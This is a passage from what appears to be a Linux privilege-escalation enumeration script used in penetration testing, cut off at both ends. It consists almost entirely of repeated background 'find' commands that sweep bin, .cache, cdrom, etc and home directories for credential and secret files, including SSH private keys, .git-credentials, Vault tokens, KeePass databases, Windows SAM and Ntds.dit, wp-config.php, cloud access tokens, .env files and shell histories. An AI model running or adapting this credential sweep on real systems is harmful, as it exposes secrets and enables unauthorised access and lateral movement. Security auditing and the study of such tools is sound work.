\"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_BIN=`eval_bckgrd "find ${ROOT_FOLDER}bin -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CACHE=`eval_bckgrd "find ${ROOT_FOLDER}.cache -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CDROM=`eval_bckgrd "find ${ROOT_FOLDER}cdrom -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_ETC=`eval_bckgrd "find ${ROOT_FOLDER}etc -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" -o -name \"id_rsa*\" -o -name \"groups.xml\" -o -name \".msmtprc\" -o -name \"rktlet.sock\" -o -name \".env*\" -o -name \"secrets.yml\" -o -name \"setupinfo\" -o -name \"bitcoin.conf\" -o -name \"crio.sock\" -o -name \"kadm5.acl\" -o -name \"smb.conf\" -o -name \"sssd.conf\" -o -name \"FreePBX.conf\" -o -name \"access.log\" -o -name \"*.rdg\" -o -name \".erlang.cookie\" -o -name \"vsftpd.conf\" -o -name \"plum.sqlite\" -o -name \".pypirc\" -o -name \"*knockd*\" -o -name \"*.sqlite3\" -o -name \"ConsoleHost_history.txt\" -o -name \"docker-compose.yml\" -o -name \"kcpassword\" -o -name \"*.csr\" -o -name \"software.sav\" -o -name \"RDCMan.settings\" -o -name \"system.sav\" -o -name \"pg_hba.conf\" -o -name \"ftp.config\" -o -name \"wcx_ftp.ini\" -o -name \"legacy_credentials.db\" -o -name \"krb5cc_*\" -o -name \".boto\" -o -name \"nginx.conf\" -o -name \".roadtools_auth\" -o -name \".credentials.json\" -o -name \"sitemanager.xml\" -o -name \"accessTokens.json\" -o -name \"cesi.conf\" -o -name \"psk.txt\" -o -name \"kibana.y*ml\" -o -name \"unattend.txt\" -o -name \"unattend.xml\" -o -name \"*.pub\" -o -name \"ipsec.conf\" -o -name \"docker.sock\" -o -name \"*.viminfo\" -o -name \".rhosts\" -o -name \"settings.php\" -o -name \".sudo_as_admin_successful\" -o -name \"supervisord.conf\" -o -name \"gitlab.rm\" -o -name \"sip.conf\" -o -name \"docker.socket\" -o -name \"drives.xml\" -o -name \"setupinfo.bak\" -o -name \"secrets.ldb\" -o -name \"id_dsa*\" -o -name \"exports\" -o -name \"passbolt.php\" -o -name \"fat.config\" -o -name \"*.tf\" -o -name \"azureProfile.json\" -o -name \"scheduledtasks.xml\" -o -name \"*.pem\" -o -name \"*.tfstate\" -o -name \"api_key\" -o -name \"grafana.ini\" -o -name \".flyrc\" -o -name \"vault-ssh-helper.hcl\" -o -name \"Dockerfile\" -o -name \"*vnc*.ini\" -o -name \"mosquitto.conf\" -o -name \"KeePass.config*\" -o -name \"airflow.cfg\" -o -name \"*.cer\" -o -name \"jetty-realm.properties\" -o -name \"sysprep.xml\" -o -name \"*.sqlite\" -o -name \"wp-config.php\" -o -name \"SecEvent.Evt\" -o -name \"rpcd\" -o -name \"pagefile.sys\" -o -name \"autounattend.xml\" -o -name \"*vnc*.xml\" -o -name \"https-xampp.conf\" -o -name \"webserver_config.py\" -o -name \"datasources.xml\" -o -name \"firebase-tools.json\" -o -name \"passwd.ibd\" -o -name \"snmpd.conf\" -o -name \"rocketchat.service\" -o -name \"*.kdbx\" -o -name \"hostapd.conf\" -o -name \"gvm-tools.conf\" -o -name \"SAM\" -o -name \"sites.ini\" -o -name \".bashrc\" -o -name \"AppEvent.Evt\" -o -name \"*.vmdk\" -o -name \"gitlab.yml\" -o -name \"wsl.exe\" -o -name \"Elastix.conf\" -o -name \"password*.ibd\" -o -name \".github\" -o -name \"glusterfs.ca\" -o -name \".git-credentials\" -o -name \"unattend.inf\" -o -name \"*.db\" -o -name \"*vnc*.txt\" -o -name \"ntuser.dat\" -o -name \"*.service\" -o -name \"*.timer\" -o -name \"*.ftpconfig\" -o -name \"zabbix_agentd.conf\" -o -name \"hudson.util.Secret\" -o -name \"storage.php\" -o -name \"*.der\" -o -name \"snyk.json\" -o -name \"debian.cnf\" -o -name \"bash.exe\" -o -name \".ldaprc\" -o -name \"database.php\" -o -name \"AzureRMContext.json\" -o -name \"Ntds.dit\" -o -name \"filezilla.xml\" -o -name \"hosts.equiv\" -o -name \"NetSetup.log\" -o -name \"httpd.conf\" -o -name \"*config*.php\" -o -name \"authorized_keys\" -o -name \".htpasswd\" -o -name \"db.php\" -o -name \"*.vhdx\" -o -name \"ipsec.secrets\" -o -name \"*.socket\" -o -name \"glusterfs.pem\" -o -name \"rsyncd.secrets\" -o -name \"*_history*\" -o -name \"software\" -o -name \".vault-token\" -o -name \"SYSTEM\" -o -name \"KeePass.ini\" -o -name \"glusterfs.key\" -o -name \"backup\" -o -name \"*.key\" -o -name \"credentials.xml\" -o -name \"krb5.conf\" -o -name \"pwd.ibd\" -o -name \"autologin\" -o -name \"fastcgi_params\" -o -name \"redis.conf\" -o -name \"*.jks\" -o -name \".k5login\" -o -name \"index.dat\" -o -name \".Xauthority\" -o -name \"access_tokens.db\" -o -name \"*.psk\" -o -name \"default.sav\" -o -name \"000-default.conf\" -o -name \"error.log\" -o -name \"winscp.ini\" -o -name \"protecteduserkey.bin\" -o -name \"ws_ftp.ini\" -o -name \"config.xml\" -o -name \"security.sav\" -o -name \"cloud.cfg\" -o -name \"web*.config\" -o -name \"*.keyring\" -o -name \"*.p12\" -o -name \"known_hosts\" -o -name \"anaconda-ks.cfg\" -o -name \"postgresql.conf\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"ffftp.ini\" -o -name \".secrets.mkey\" -o -name \"*.pfx\" -o -name \"mysqld.cnf\" -o -name \"FreeSSHDservice.ini\" -o -name \"authorized_hosts\" -o -name \"*.pgp\" -o -name \".git\" -o -name \"unattended.xml\" -o -name \"access_tokens.json\" -o -name \"elasticsearch.y*ml\" -o -name \"*.vhd\" -o -name \"passwd\" -o -name \"ftp.ini\" -o -name \"pgadmin4.db\" -o -name \".gitconfig\" -o -name \"KeePass.enforced*\" -o -name \"sysprep.inf\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_HOMESEARCH=`eval_bckgrd "find $HOMESEARCH -name \"*.keytab\" -o -name \"*.keystore\" -o -name \".profile\" -o -name \"master.key\" -o -name \"backups\" -o -name \"mongod*.conf\" -o -name \".wgetrc\" -o -name \"appcmd.exe\" -o -name \"creds*\" -o -name \"*.gnupg\" -o -name \"racoon.conf\" -o -name \"log4j-core*.jar\" -o -name \"*password*\" -o -name \"printers.xml\" -o -name \"my.cnf\" -o -name \"config.php\" -o -name \"*vnc*.c*nf*\" -o -name \"autologin.conf\" -o -name \"snyk.config.json\" -o -name \"php.ini\" -o -name \"zabbix_server.conf\" -o -name \"adc.json\" -o -name \"frakti.sock\" -o -name \"ddclient.conf\" -o -name \"containerd.sock\" -o -name \".plan\" -o -name \"https.conf\" -o -name \"scclient.exe\" -o -name \"iis6.log\" -o -name \"server.xml\" -o -name \"credentials.db\" -o -name \"recentservers.xml\" -o -name \"pgsql.conf\" -o -name \"sentry.conf.py\" -o -name \".google_authenticator\" -o -name \"dockershim.sock\" -o -name \"*credential*\" -o -name \"influxdb.conf\" -o -name \"*.gpg\" -o -name \"tomcat-users.xml\" -o -name \"TokenCache.dat\" -o -name \"*.swp\" -o -name \".lesshst\" -o -name \"atlantis.db\" -o -name \".recently-used.xbel\" -o -name \"amportal.conf\" -o -name \"my.ini\" -o -name \"rsyncd.conf\" -o -name \"*.ovpn\" -o -name \"pgadmin*.db\" 